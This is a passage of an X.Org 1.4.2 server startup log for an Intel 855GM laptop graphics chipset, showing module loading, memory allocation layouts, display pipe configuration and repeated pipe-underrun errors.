Loading /usr/local/lib/xorg/modules/fonts//libfreetype.so (II) Module freetype: vendor="X.Org Foundation & the After X-TT Project" compiled for 1.4.2, module version = 2.1.0 Module class: X.Org Font Renderer ABI class: X.Org Font Renderer, version 0.5 (II) Loading font FreeType (II) LoadModule: "type1" (II) Loading /usr/local/lib/xorg/modules/fonts//libtype1.so (II) Module type1: vendor="X.Org Foundation" compiled for 1.4.2, module version = 1.0.2 Module class: X.Org Font Renderer ABI class: X.Org Font Renderer, version 0.5 (II) Loading font Type1 (II) LoadModule: "record" (II) Loading /usr/local/lib/xorg/modules/extensions//librecord.so (II) Module record: vendor="X.Org Foundation" compiled for 1.4.2, module version = 1.13.0 Module class: X.Org Server Extension ABI class: X.Org Server Extension, version 0.3 (II) Loading extension RECORD (II) LoadModule: "dri" (II) Loading /usr/local/lib/xorg/modules/extensions//libdri.so (II) Module dri: vendor="X.Org Foundation" compiled for 1.4.2, module version = 1.0.0 ABI class: X.Org Server Extension, version 0.3 (II) Loading extension XFree86-DRI (II) LoadModule: "i810" (II) Loading /usr/local/lib/xorg/modules/drivers//i810_drv.so (II) Module i810: vendor="X.Org Foundation" compiled for 1.4.2, module version = 2.4.2 Module class: X.Org Video Driver ABI class: X.Org Video Driver, version 2.0 (II) LoadModule: "fbdev" (WW) Warning, couldn't open module fbdev (II) UnloadModule: "fbdev" (EE) Failed to load module "fbdev" (module does not exist, 0) (II) LoadModule: "vesa" (WW) Warning, couldn't open module vesa (II) UnloadModule: "vesa" (EE) Failed to load module "vesa" (module does not exist, 0) (II) LoadModule: "vga" (II) Loading /usr/local/lib/xorg/modules/drivers//vga_drv.so (II) Module vga: vendor="X.Org Foundation" compiled for 1.4.2, module version = 4.1.0 Module class: X.Org Video Driver ABI class: X.Org Video Driver, version 2.0 (II) LoadModule: "mouse" (II) Loading /usr/local/lib/xorg/modules/input//mouse_drv.so (II) Module mouse: vendor="X.Org Foundation" compiled for 1.4.2, module version = 1.2.3 Module class: X.Org XInput Driver ABI class: X.Org XInput driver, version 2.0 (II) LoadModule: "kbd" (II) Loading /usr/local/lib/xorg/modules/input//kbd_drv.so (II) Module kbd: vendor="X.Org Foundation" compiled for 1.4.2, module version = 1.2.2 Module class: X.Org XInput Driver ABI class: X.Org XInput driver, version 2.0 (II) intel: Driver for Intel Integrated Graphics Chipsets: i810, i810-dc100, i810e, i815, i830M, 845G, 852GM/855GM, 865G, 915G, E7221 (i915), 915GM, 945G, 945GM, 945GME, 965G, G35, 965Q, 946GZ, 965GM, 965GME/GLE, G33, Q35, Q33, Mobile Intel? GM45 Express Chipset, Intel Integrated Graphics Device, G45/G43, Q45/Q43 (II) VGA: Generic VGA driver (version 4.1) for chipsets: generic (II) Primary Device is: PCI 00:02:0 (--) Assigning device section with no busID to primary device (--) Chipset 852GM/855GM found (II) resource ranges after xf86ClaimFixedResources() call: [0] -1 0 0x00100000 - 0x3fffffff (0x3ff00000) MX[B]E(B) [1] -1 0 0x000f0000 - 0x000fffff (0x10000) MX[B] [2] -1 0 0x000c0000 - 0x000effff (0x30000) MX[B] [3] -1 0 0x00000000 - 0x0009ffff (0xa0000) MX[B] [4] -1 0 0xe0207c00 - 0xe0207fff (0x400) MX[B]E [5] -1 0 0xe0208000 - 0xe02083ff (0x400) MX[B]E [6] -1 0 0xe0208400 - 0xe02087ff (0x400) MX[B]E [7] -1 0 0xe0204000 - 0xe0205fff (0x2000) MX[B]E [8] -1 0 0xe0200000 - 0xe0203fff (0x4000) MX[B]E [9] -1 0 0xe0207000 - 0xe02077ff (0x800) MX[B]E [10] -1 0 0xe0206000 - 0xe0206fff (0x1000) MX[B]E [11] -1 0 0xe0207800 - 0xe0207bff (0x400) MX[B]E [12] -1 0 0xe0100800 - 0xe0100bff (0x400) MX[B]E [13] -1 0 0xe0100c00 - 0xe0100fff (0x400) MX[B]E [14] -1 0 0xe0100000 - 0xe01007ff (0x800) MX[B]E [15] -1 0 0xe0080000 - 0xe00fffff (0x80000) MX[B](B) [16] -1 0 0xf0000000 - 0xf7ffffff (0x8000000) MX[B](B) [17] -1 0 0xe0000000 - 0xe007ffff (0x80000) MX[B](B) [18] -1 0 0xe8000000 - 0xefffffff (0x8000000) MX[B](B) [19] -1 0 0x0000ffff - 0x0000ffff (0x1) IX[B] [20] -1 0 0x00000000 - 0x000000ff (0x100) IX[B] [21] -1 0 0x00003000 - 0x000030ff (0x100) IX[B]E [22] -1 0 0x00002000 - 0x000020ff (0x100) IX[B]E [23] -1 0 0x00002400 - 0x000024ff (0x100) IX[B]E [24] -1 0 0x000018c0 - 0x000018ff (0x40) IX[B]E [25] -1 0 0x00001c00 - 0x00001cff (0x100) IX[B]E [26] -1 0 0x00001880 - 0x000018bf (0x40) IX[B]E [27] -1 0 0x00001810 - 0x0000181f (0x10) IX[B]E [28] -1 0 0x00001860 - 0x0000187f (0x20) IX[B]E [29] -1 0 0x00001840 - 0x0000185f (0x20) IX[B]E [30] -1 0 0x00001820 - 0x0000183f (0x20) IX[B]E [31] -1 0 0x00001800 - 0x00001807 (0x8) IX[B](B) (--) Assigning device section with no busID to primary device (--) Chipset generic found (II) resource ranges after probing: [0] -1 0 0x00100000 - 0x3fffffff (0x3ff00000) MX[B]E(B) [1] -1 0 0x000f0000 - 0x000fffff (0x10000) MX[B] [2] -1 0 0x000c0000 - 0x000effff (0x30000) MX[B] [3] -1 0 0x00000000 - 0x0009ffff (0xa0000) MX[B] [4] -1 0 0xe0207c00 - 0xe0207fff (0x400) MX[B]E [5] -1 0 0xe0208000 - 0xe02083ff (0x400) MX[B]E [6] -1 0 0xe0208400 - 0xe02087ff (0x400) MX[B]E [7] -1 0 0xe0204000 - 0xe0205fff (0x2000) MX[B]E [8] -1 0 0xe0200000 - 0xe0203fff (0x4000) MX[B]E [9] -1 0 0xe0207000 - 0xe02077ff (0x800) MX[B]E [10] -1 0 0xe0206000 - 0xe0206fff (0x1000) MX[B]E [11] -1 0 0xe0207800 - 0xe0207bff (0x400) MX[B]E [12] -1 0 0xe0100800 - 0xe0100bff (0x400) MX[B]E [13] -1 0 0xe0100c00 - 0xe0100fff (0x400) MX[B]E [14] -1 0 0xe0100000 - 0xe01007ff (0x800) MX[B]E [15] -1 0 0xe0080000 - 0xe00fffff (0x80000) MX[B](B) [16] -1 0 0xf0000000 - 0xf7ffffff (0x8000000) MX[B](B) [17] -1 0 0xe0000000 - 0xe007ffff (0x80000) MX[B](B) [18] -1 0 0xe8000000 - 0xefffffff (0x8000000) MX[B](B) [19] 1 0 0x000a0000 - 0x000affff (0x10000) MS[B] [20] 1 0 0x000b0000 - 0x000b7fff (0x8000) MS[B] [21] 1 0 0x000b8000 - 0x000bffff (0x8000) MS[B] [22] -1 0 0x0000ffff - 0x0000ffff (0x1) IX[B] [23] -1 0 0x00000000 - 0x000000ff (0x100) IX[B] [24] -1 0 0x00003000 - 0x000030ff (0x100) IX[B]E [25] -1 0 0x00002000 - 0x000020ff (0x100) IX[B]E [26] -1 0 0x00002400 - 0x000024ff (0x100) IX[B]E [27] -1 0 0x000018c0 - 0x000018ff (0x40) IX[B]E [28] -1 0 0x00001c00 - 0x00001cff (0x100) IX[B]E [29] -1 0 0x00001880 - 0x000018bf (0x40) IX[B]E [30] -1 0 0x00001810 - 0x0000181f (0x10) IX[B]E [31] -1 0 0x00001860 - 0x0000187f (0x20) IX[B]E [32] -1 0 0x00001840 - 0x0000185f (0x20) IX[B]E [33] -1 0 0x00001820 - 0x0000183f (0x20) IX[B]E [34] -1 0 0x00001800 - 0x00001807 (0x8) IX[B](B) [35] 1 0 0x000003b0 - 0x000003bb (0xc) IS[B] [36] 1 0 0x000003c0 - 0x000003df (0x20) IS[B] (II) Setting vga for screen 0. (II) Loading sub module "int10" (II) LoadModule: "int10" (II) Loading /usr/local/lib/xorg/modules//libint10.so (II) Module int10: vendor="X.Org Foundation" compiled for 1.4.2, module version = 1.0.0 ABI class: X.Org Video Driver, version 2.0 (II) Loading sub module "vbe" (II) LoadModule: "vbe" (II) Loading /usr/local/lib/xorg/modules//libvbe.so (II) Module vbe: vendor="X.Org Foundation" compiled for 1.4.2, module version = 1.1.0 ABI class: X.Org Video Driver, version 2.0 (II) Loading sub module "vgahw" (II) LoadModule: "vgahw" (II) Loading /usr/local/lib/xorg/modules//libvgahw.so (II) Module vgahw: vendor="X.Org Foundation" compiled for 1.4.2, module version = 0.1.0 ABI class: X.Org Video Driver, version 2.0 (II) intel(0): Creating default Display subsection in Screen section "Builtin Default i810 Screen 0" for depth/fbbpp 24/32 (==) intel(0): Depth 24, (==) framebuffer bpp 32 (==) intel(0): RGB weight 888 (==) intel(0): Default visual is TrueColor (II) intel(0): Integrated Graphics Chipset: Intel(R) 855GM (--) intel(0): Chipset: "852GM/855GM" (--) intel(0): Linear framebuffer at 0xE8000000 (--) intel(0): IO registers at addr 0xE0000000 (==) intel(0): Write-combining range (0xe0000000,0x80000) was already clear (II) intel(0): 2 display pipes available. (==) intel(0): Using EXA for acceleration (II) Loading sub module "int10" (II) LoadModule: "int10" (II) Reloading /usr/local/lib/xorg/modules//libint10.so (II) intel(0): initializing int10 (==) intel(0): Write-combining range (0xa0000,0x20000) was already clear (==) intel(0): Write-combining range (0xc0000,0x40000) was already clear (WW) intel(0): Bad V_BIOS checksum (II) intel(0): Primary V_BIOS segment is: 0xc000 (==) intel(0): Write-combining range (0x0,0x1000) was already clear (II) intel(0): VESA BIOS detected (II) intel(0): VESA VBE Version 3.0 (II) intel(0): VESA VBE Total Mem: 32576 kB (II) intel(0): VESA VBE OEM: Intel(r)852GM/852GME/855GM/855GME Graphics Chip Accelerated VGA BIOS (II) intel(0): VESA VBE OEM Software Rev: 1.0 (II) intel(0): VESA VBE OEM Vendor: Intel Corporation (II) intel(0): VESA VBE OEM Product: Intel(r)852GM/852GME/855GM/855GME Graphics Controller (II) intel(0): VESA VBE OEM Product Rev: Hardware Version 0.0 (==) intel(0): Write-combining range (0x0,0x1000) was already clear (II) Loading sub module "ddc" (II) LoadModule: "ddc"(II) Module "ddc" already built-in (II) Loading sub module "i2c" (II) LoadModule: "i2c"(II) Module "i2c" already built-in (II) intel(0): Output VGA using monitor section Builtin Default Monitor (II) intel(0): I2C bus "CRTDDC_A" initialized. (II) intel(0): Output LVDS has no monitor section (II) intel(0): I2C bus "LVDSDDC_C" initialized. (II) intel(0): Attempting to determine panel fixed mode. (II) intel(0): I2C device "LVDSDDC_C:ddc2" registered at address 0xA0. (II) intel(0): EDID vendor "AUO", prod id 4915 (II) intel(0): I2C bus "DVODDC_D" initialized. (II) Loading sub module "sil164" (II) LoadModule: "sil164" (II) Loading /usr/local/lib/xorg/modules/drivers//sil164.so (II) Module sil164: vendor="X.Org Foundation" compiled for 1.4.2, module version = 1.0.0 ABI class: X.Org Video Driver, version 2.0 (II) intel(0): I2C bus "DVOI2C_E" initialized. (II) Loading sub module "ch7xxx" (II) LoadModule: "ch7xxx" (II) Loading /usr/local/lib/xorg/modules/drivers//ch7xxx.so (II) Module ch7xxx: vendor="X.Org Foundation" compiled for 1.4.2, module version = 1.0.0 ABI class: X.Org Video Driver, version 2.0 (II) intel(0): I2C bus "DVOI2C_E" removed. (II) intel(0): I2C bus "DVOI2C_E" initialized. (II) Loading sub module "ivch" (II) LoadModule: "ivch" (II) Loading /usr/local/lib/xorg/modules/drivers//ivch.so (II) Module ivch: vendor="X.Org Foundation" compiled for 1.4.2, module version = 1.0.0 ABI class: X.Org Video Driver, version 2.0 (II) intel(0): I2C bus "DVOI2C_E" removed. (II) intel(0): I2C bus "DVOI2C_B" initialized. (II) Loading sub module "tfp410" (II) LoadModule: "tfp410" (II) Loading /usr/local/lib/xorg/modules/drivers//tfp410.so (II) Module tfp410: vendor="X.Org Foundation" compiled for 1.4.2, module version = 1.0.0 ABI class: X.Org Video Driver, version 2.0 (II) intel(0): I2C bus "DVOI2C_B" removed. (II) intel(0): I2C bus "DVOI2C_E" initialized. (II) Loading sub module "ch7017" (II) LoadModule: "ch7017" (II) Loading /usr/local/lib/xorg/modules/drivers//ch7017.so (II) Module ch7017: vendor="X.Org Foundation" compiled for 1.4.2, module version = 1.0.0 ABI class: X.Org Video Driver, version 2.0 (II) intel(0): I2C bus "DVOI2C_E" removed. (II) intel(0): I2C bus "DVOI2C_E" initialized. (EE) intel(0): ch701x not detected, got 29: from DVOI2C_E Slave 234. (II) intel(0): I2C bus "DVOI2C_E" removed. (II) intel(0): I2C bus "DVODDC_D" removed. (==) intel(0): Write-combining range (0xa0000,0x10000) was already clear (II) intel(0): I2C device "LVDSDDC_C:ddc2" removed. (II) intel(0): Output VGA disconnected (II) intel(0): Output LVDS connected (II) intel(0): Output LVDS using initial mode 1280x768 (==) intel(0): Write-combining range (0xa0000,0x10000) was already clear (II) intel(0): Monitoring connected displays enabled (II) intel(0): detected 128 kB GTT. (II) intel(0): detected 32636 kB stolen memory. (==) intel(0): video overlay key set to 0x101fe (==) intel(0): Will not try to enable page flipping (==) intel(0): Triple buffering disabled (==) intel(0): Intel XvMC decoder disabled (==) intel(0): Using gamma correction (1.0, 1.0, 1.0) (==) intel(0): DPI set to (96, 96) (II) Loading sub module "fb" (II) LoadModule: "fb" (II) Loading /usr/local/lib/xorg/modules//libfb.so (II) Module fb: vendor="X.Org Foundation" compiled for 1.4.2, module version = 1.0.0 ABI class: X.Org ANSI C Emulation, version 0.3 (II) Loading sub module "exa" (II) LoadModule: "exa" (II) Loading /usr/local/lib/xorg/modules//libexa.so (II) Module exa: vendor="X.Org Foundation" compiled for 1.4.2, module version = 2.2.0 ABI class: X.Org Video Driver, version 2.0 (II) Loading sub module "ramdac" (II) LoadModule: "ramdac"(II) Module "ramdac" already built-in (II) intel(0): Comparing regs from server start up to After PreInit (WW) intel(0): Register 0x61200 (PP_STATUS) changed from 0xc0000008 to 0xd0000009 (WW) intel(0): PP_STATUS before: on, ready, sequencing idle (WW) intel(0): PP_STATUS after: on, ready, sequencing on (II) UnloadModule: "vga" (II) Unloading /usr/local/lib/xorg/modules/drivers//vga_drv.so (==) Depth 24 pixmap format is 32 bpp (II) do I need RAC? No, I don't. (II) resource ranges after preInit: [0] 1 0 0xe0000000 - 0xe007ffff (0x80000) MS[B] [1] 1 0 0xe8000000 - 0xefffffff (0x8000000) MS[B] [2] -1 0 0x00100000 - 0x3fffffff (0x3ff00000) MX[B]E(B) [3] -1 0 0x000f0000 - 0x000fffff (0x10000) MX[B] [4] -1 0 0x000c0000 - 0x000effff (0x30000) MX[B] [5] -1 0 0x00000000 - 0x0009ffff (0xa0000) MX[B] [6] -1 0 0xe0207c00 - 0xe0207fff (0x400) MX[B]E [7] -1 0 0xe0208000 - 0xe02083ff (0x400) MX[B]E [8] -1 0 0xe0208400 - 0xe02087ff (0x400) MX[B]E [9] -1 0 0xe0204000 - 0xe0205fff (0x2000) MX[B]E [10] -1 0 0xe0200000 - 0xe0203fff (0x4000) MX[B]E [11] -1 0 0xe0207000 - 0xe02077ff (0x800) MX[B]E [12] -1 0 0xe0206000 - 0xe0206fff (0x1000) MX[B]E [13] -1 0 0xe0207800 - 0xe0207bff (0x400) MX[B]E [14] -1 0 0xe0100800 - 0xe0100bff (0x400) MX[B]E [15] -1 0 0xe0100c00 - 0xe0100fff (0x400) MX[B]E [16] -1 0 0xe0100000 - 0xe01007ff (0x800) MX[B]E [17] -1 0 0xe0080000 - 0xe00fffff (0x80000) MX[B](B) [18] -1 0 0xf0000000 - 0xf7ffffff (0x8000000) MX[B](B) [19] -1 0 0xe0000000 - 0xe007ffff (0x80000) MX[B](B) [20] -1 0 0xe8000000 - 0xefffffff (0x8000000) MX[B](B) [21] 1 0 0x000a0000 - 0x000affff (0x10000) MS[B](OprD) [22] 1 0 0x000b0000 - 0x000b7fff (0x8000) MS[B](OprD) [23] 1 0 0x000b8000 - 0x000bffff (0x8000) MS[B](OprD) [24] 1 0 0x00001800 - 0x00001807 (0x8) IS[B] [25] -1 0 0x0000ffff - 0x0000ffff (0x1) IX[B] [26] -1 0 0x00000000 - 0x000000ff (0x100) IX[B] [27] -1 0 0x00003000 - 0x000030ff (0x100) IX[B]E [28] -1 0 0x00002000 - 0x000020ff (0x100) IX[B]E [29] -1 0 0x00002400 - 0x000024ff (0x100) IX[B]E [30] -1 0 0x000018c0 - 0x000018ff (0x40) IX[B]E [31] -1 0 0x00001c00 - 0x00001cff (0x100) IX[B]E [32] -1 0 0x00001880 - 0x000018bf (0x40) IX[B]E [33] -1 0 0x00001810 - 0x0000181f (0x10) IX[B]E [34] -1 0 0x00001860 - 0x0000187f (0x20) IX[B]E [35] -1 0 0x00001840 - 0x0000185f (0x20) IX[B]E [36] -1 0 0x00001820 - 0x0000183f (0x20) IX[B]E [37] -1 0 0x00001800 - 0x00001807 (0x8) IX[B](B) [38] 1 0 0x000003b0 - 0x000003bb (0xc) IS[B](OprU) [39] 1 0 0x000003c0 - 0x000003df (0x20) IS[B](OprU) (II) intel(0): Kernel reported 241152 total, 0 used (II) intel(0): I830CheckAvailableMemory: 964608 kB available drmOpenDevice: node name is /dev/dri/card0 drmOpenDevice: open result is -1, (No such file or directory) drmOpenDevice: open result is -1, (No such file or directory) drmOpenDevice: Open failed drmOpenDevice: node name is /dev/dri/card0 drmOpenDevice: open result is -1, (No such file or directory) drmOpenDevice: open result is -1, (No such file or directory) drmOpenDevice: Open failed drmOpenByBusid: Searching for BusID pci:0000:00:02.0 drmOpenDevice: node name is /dev/dri/card0 drmOpenDevice: open result is 7, (OK) drmOpenByBusid: drmOpenMinor returns 7 drmOpenByBusid: drmGetBusid reports pci:0000:00:02.0 (II) [drm] loaded kernel module for "i915" driver. (II) [drm] DRM interface version 1.2 (II) [drm] DRM open master succeeded. (II) intel(0): [drm] Using the DRM lock SAREA also for drawables. (II) intel(0): [drm] framebuffer mapped by ddx driver (II) intel(0): [drm] added 1 reserved context for kernel (II) intel(0): X context handle = 0x1 (II) intel(0): [drm] installed DRM signal handler (**) intel(0): Framebuffer compression enabled (**) intel(0): Tiling enabled (==) intel(0): Write-combining range (0xe0000000,0x80000) was already clear (==) intel(0): VideoRam: 131072 KB (II) intel(0): Attempting memory allocation with tiled buffers. (WW) intel(0): xf86AllocateGARTMemory: allocation of 10 pages failed (Cannot allocate memory) (WW) intel(0): xf86AllocateGARTMemory: allocation of 4 pages failed (Cannot allocate memory) (WW) intel(0): Disabling HW cursor because the cursor memory allocation failed. (II) intel(0): Tiled allocation successful. (--) intel(0): DRI is disabled because it needs HW cursor, 2D accel and AGPGART. (II) intel(0): adjusting plane->pipe mappings to allow for framebuffer compression (II) intel(0): Page Flipping disabled (==) intel(0): Write-combining range (0xe0000000,0x80000) was already clear (==) intel(0): Write-combining range (0xe8000000,0x8000000) was already set (II) intel(0): vgaHWGetIOBase: hwp->IOBase is 0x03d0, hwp->PIOOffset is 0x0000 (==) intel(0): Write-combining range (0xa0000,0x10000) was already clear (II) EXA(0): Offscreen pixmap area of 31457280 bytes (II) EXA(0): Driver registered support for the following operations: (II) Solid (II) Copy (II) Composite (RENDER acceleration) (==) intel(0): Backing store disabled (==) intel(0): Silken mouse enabled (II) intel(0): Initializing SW Cursor! (II) intel(0): xf86BindGARTMemory: bind key 1 at 0x01fdf000 (pgoffset 8159) (II) intel(0): xf86BindGARTMemory: bind key 2 at 0x025df000 (pgoffset 9695) (II) intel(0): xf86BindGARTMemory: bind key 3 at 0x025e0000 (pgoffset 9696) (II) intel(0): xf86BindGARTMemory: bind key 4 at 0x025e1000 (pgoffset 9697) (II) intel(0): xf86BindGARTMemory: bind key 5 at 0x03000000 (pgoffset 12288) (II) intel(0): Fixed memory allocation layout: (II) intel(0): 0x00000000-0x0001ffff: ring buffer (128 kB) (II) intel(0): 0x00020000-0x00027fff: logical 3D context (32 kB) (II) intel(0): 0x00028000-0x01e27fff: exa offscreen (30720 kB) (II) intel(0): 0x01fdf000: end of stolen memory (II) intel(0): 0x01fdf000-0x025defff: compressed frame buffer (6144 kB, 0x0000000007000000 physical ) (II) intel(0): 0x025df000-0x025dffff: compressed ll buffer (4 kB, 0x0000000006cb9000 physical ) (II) intel(0): 0x025e0000-0x025e0fff: Core cursor (4 kB, 0x0000000006cba000 physical ) (II) intel(0): 0x025e1000-0x025e1fff: overlay registers (4 kB, 0x0000000006cbb000 physical ) (II) intel(0): 0x03000000-0x03ffffff: front buffer (10240 kB) X tiled (II) intel(0): 0x08000000: end of aperture (II) intel(0): Selecting standard 18 bit TMDS pixel format. (II) intel(0): Output configuration: (II) intel(0): Pipe A is off (II) intel(0): Display plane B is now enabled and connected to pipe A. (WW) intel(0): Hardware claims pipe A is on while software believes it is off (WW) intel(0): Hardware claims plane A is on while software believes it is off (II) intel(0): Pipe B is on (II) intel(0): Display plane A is now enabled and connected to pipe B. (II) intel(0): Output VGA is connected to pipe none (II) intel(0): Output LVDS is connected to pipe B (II) intel(0): RandR 1.2 enabled, ignore the following RandR disabled message. (II) intel(0): Set up overlay video (II) intel(0): direct rendering: Failed (--) RandR disabled (II) Initializing built-in extension MIT-SHM (II) Initializing built-in extension XInputExtension (II) Initializing built-in extension XTEST (II) Initializing built-in extension XKEYBOARD (II) Initializing built-in extension XC-APPGROUP (II) Initializing built-in extension XAccessControlExtension (II) Initializing built-in extension SECURITY (II) Initializing built-in extension XINERAMA (II) Initializing built-in extension XFIXES (II) Initializing built-in extension XFree86-Bigfont (II) Initializing built-in extension RENDER (II) Initializing built-in extension RANDR (II) Initializing built-in extension COMPOSITE (II) Initializing built-in extension DAMAGE (II) Initializing built-in extension XEVIE (II) Loading sub module "GLcore" (II) LoadModule: "GLcore" (II) Loading /usr/local/lib/xorg/modules/extensions//libGLcore.so (II) Module GLcore: vendor="X.Org Foundation" compiled for 1.4.2, module version = 1.0.0 ABI class: X.Org Server Extension, version 0.3 (II) GLX: Initialized MESA-PROXY GL provider for screen 0 (II) intel(0): Setting screen physical size to 305 x 183 (WW) : No Device specified, looking for one... (II) : Setting Device option to "/dev/sysmouse" (--) : Device: "/dev/sysmouse" (==) : Protocol: "Auto" (**) Option "CorePointer" (**) : always reports core events (==) : Emulate3Buttons, Emulate3Timeout: 50 (**) : ZAxisMapping: buttons 4 and 5 (**) : Buttons: 9 (**) : Sensitivity: 1 (**) Option "CoreKeyboard" (**) : always reports core events (**) Option "Protocol" "standard" (**) : Protocol: standard (**) Option "AutoRepeat" "500 30" (**) Option "XkbRules" "xorg" (**) : XkbRules: "xorg" (**) Option "XkbModel" "pc105" (**) : XkbModel: "pc105" (**) Option "XkbLayout" "us" (**) : XkbLayout: "us" (**) Option "CustomKeycodes" "off" (**) : CustomKeycodes disabled (II) evaluating device () (II) XINPUT: Adding extended input device "" (type: KEYBOARD) (II) evaluating device () (II) XINPUT: Adding extended input device "" (type: MOUSE) (II) : SetupAuto: hw.iftype is 4, hw.model is 0 (II) : SetupAuto: protocol is SysMouse (EE) intel(0): underrun on pipe B! (EE) intel(0): tried to update DSPARB with both planes enabled! (II) intel(0): I2C device "LVDSDDC_C:ddc2" registered at address 0xA0. (II) intel(0): EDID vendor "AUO", prod id 4915 (II) intel(0): Printing DDC gathered Modelines: (II) intel(0): Modeline "1280x768"x0.0 71.10 1280 1296 1408 1440 768 769 772 823 -hsync -vsync (49.4 kHz) (II) intel(0): EDID vendor "AUO", prod id 4915 (EE) intel(0): underrun on pipe B! (II) intel(0): xf86UnbindGARTMemory: unbind key 1 (II) intel(0): xf86UnbindGARTMemory: unbind key 2 (II) intel(0): xf86UnbindGARTMemory: unbind key 3 (II) intel(0): xf86UnbindGARTMemory: unbind key 4 (II) intel(0): xf86UnbindGARTMemory: unbind key 5 (II) intel(0): xf86BindGARTMemory: bind key 1 at 0x01fdf000 (pgoffset 8159) (II) intel(0): xf86BindGARTMemory: bind key 2 at 0x025df000 (pgoffset 9695) (II) intel(0): xf86BindGARTMemory: bind key 3 at 0x025e0000 (pgoffset 9696) (II) intel(0): xf86BindGARTMemory: bind key 4 at 0x025e1000 (pgoffset 9697) (II) intel(0): xf86BindGARTMemory: bind key 5 at 0x03000000 (pgoffset 12288) (II) intel(0): Fixed memory allocation layout: (II) intel(0): 0x00000000-0x0001ffff: ring buffer (128 kB) (II) intel(0): 0x00020000-0x00027fff: logical 3D context (32 kB) (II) intel(0): 0x00028000-0x01e27fff: exa offscreen (30720 kB) (II) intel(0): 0x01fdf000: end of stolen memory (II) intel(0): 0x01fdf000-0x025defff: compressed frame buffer (6144 kB, 0x0000000007000000 physical ) (II) intel(0): 0x025df000-0x025dffff: compressed ll buffer (4 kB, 0x0000000006cb9000 physical ) (II) intel(0): 0x025e0000-0x025e0fff: Core cursor (4 kB, 0x0000000006cba000 physical ) (II) intel(0): 0x025e1000-0x025e1fff: overlay registers (4 kB, 0x0000000006cbb000 physical ) (II) intel(0): 0x03000000-0x03ffffff: front buffer (10240 kB) X tiled (II) intel(0): 0x08000000: end of aperture (II) intel(0): Selecting standard 18 bit TMDS pixel format. (II) intel(0): Output configuration: (II) intel(0): Pipe A is off (II) intel(0): Display plane B is now disabled and connected to pipe B. (WW) intel(0): Hardware claims pipe A is on while software believes it is off (II) intel(0): Pipe B is on (II) intel(0): Display plane A is now enabled and connected to pipe B. (II) intel(0): Output VGA is connected to pipe none (II) intel(0): Output LVDS is connected to pipe B (**) Option "BaudRate" "1200" (**) Option "StopBits" "2" (**) Option "DataBits" "8" (**) Option "Parity" "None" (**) Option "Vmin" "1" (**) Option "Vtime" "0" (**) Option "FlowControl" "None" (EE) intel(0): underrun on pipe B! (II) intel(0): EDID vendor "AUO", prod id 4915 (II) intel(0): Printing DDC gathered Modelines: (II) intel(0): Modeline "1280x768"x0.0 71.10 1280 1296 1408 1440 768 769 772 823 -hsync -vsync (49.4 kHz) (II) intel(0): EDID vendor "AUO", prod id 4915 (EE) intel(0): underrun on pipe B! (EE) intel(0): tried to update DSPARB with both planes enabled! (II) intel(0): EDID vendor "AUO", prod id 4915 (II) intel(0): Printing DDC gathered Modelines: (II) intel(0): Modeline "1280x768"x0.0 71.10 1280 1296 1408 1440 768 769 772 823 -hsync -vsync (49.4 kHz) (II) intel(0): EDID vendor "AUO", prod id 4915 (EE) intel(0): tried to update DSPARB with both planes enabled! (II) intel(0): EDID vendor "AUO", prod id 4915 (II) intel(0): Printing DDC gathered Modelines: (II) intel(0): Modeline "1280x768"x0.0 71.10 1280 1296 1408 1440 768 769 772 823 -hsync -vsync (49.4 kHz) (II) intel(0): EDID vendor "AUO", prod id 4915 (EE) intel(0): tried to update DSPARB with both planes enabled! (II) intel(0): EDID vendor "AUO", prod id 4915 (II) intel(0): Printing DDC gathered Modelines: (II) intel(0): Modeline "1280x768"x0.0 71.10 1280 1296 1408 1440 768 769 772 823 -hsync -vsync (49.4 kHz) (II) intel(0): EDID vendor "AUO", prod id 4915 (EE) intel(0): tried to update DSPARB with both planes enabled! (II) intel(0): EDID vendor "AUO", prod id 4915 (II) intel(0): Printing DDC gathered Modelines: (II) intel(0): Modeline "1280x768"x0.0 71.10 1280 1296 1408 1440 768 769 772 823 -hsync -vsync (49.4 kHz) (II) intel(0): EDID vendor "AUO", prod id 4915 (II) intel(0): xf86UnbindGARTMemory: unbind key 1 (II) intel(0): xf86UnbindGARTMemory: unbind key 2 (II) intel(0): xf86UnbindGARTMemory: unbind key 3 (II) intel(0): xf86UnbindGARTMemory: unbind key 4 (II) intel(0): xf86UnbindGARTMemory: unbind key 5 [config/hal] couldn't initialise context: (null) ((null)) (II) intel(0): xf86BindGARTMemory: bind key 1 at 0x01fdf000 (pgoffset 8159) (II) intel(0): xf86BindGARTMemory: bind key 2 at 0x025df000 (pgoffset 9695) (II) intel(0): xf86BindGARTMemory: bind key 3 at 0x025e0000 (pgoffset 9696) (II) intel(0): xf86BindGARTMemory: bind key 4 at 0x025e1000 (pgoffset 9697) (II) intel(0): xf86BindGARTMemory: bind key 5 at 0x03000000 (pgoffset 12288) (II) intel(0): Fixed memory allocation layout: (II) intel(0): 0x00000000-0x0001ffff: ring buffer (128 kB) (II) intel(0): 0x00020000-0x00027fff: logical 3D context (32 kB) (II) intel(0): 0x00028000-0x01e27fff: exa offscreen (30720 kB) (II) intel(0): 0x01fdf000: end of stolen memory (II) intel(0): 0x01fdf000-0x025defff: compressed frame buffer (6144 kB, 0x0000000007000000 physical ) (II) intel(0): 0x025df000-0x025dffff: compressed ll buffer (4 kB, 0x0000000006cb9000 physical ) (II) intel(0): 0x025e0000-0x025e0fff: Core cursor (4 kB, 0x0000000006cba000 physical ) (II) intel(0): 0x025e1000-0x025e1fff: overlay registers (4 kB, 0x0000000006cbb000 physical ) (II) intel(0): 0x03000000-0x03ffffff: front buffer (10240 kB) X tiled (II) intel(0): 0x08000000: end of aperture (II) intel(0): Selecting standard 18 bit TMDS pixel format. (II) intel(0): Output configuration: (II) intel(0): Pipe A is off (II) intel(0): Display plane B is now disabled and connected to pipe B. (WW) intel(0): Hardware claims pipe A is on while software believes it is off (II) intel(0): Pipe B is on (II) intel(0): Display plane A is now enabled and connected to pipe B. (II) intel(0): Output VGA is connected to pipe none (II) intel(0): Output LVDS is connected to pipe B (EE) intel(0): underrun on pipe B! (II) intel(0): xf86UnbindGARTMemory: unbind key 1 (II) intel(0): xf86UnbindGARTMemory: unbind key 2 (II) intel(0): xf86UnbindGARTMemory: unbind key 3 (II) intel(0): xf86UnbindGARTMemory: unbind key 4 (II) intel(0): xf86UnbindGARTMemory: unbind key 5 (II) intel(0): xf86BindGARTMemory: bind key 1 at 0x01fdf000 (pgoffset 8159) (II) intel(0): xf86BindGARTMemory: bind key 2 at 0x025df000 (pgoffset 9695) (II) intel(0): xf86BindGARTMemory: bind key 3 at 0x025e0000 (pgoffset 9696) (II) intel(0): xf86BindGARTMemory: 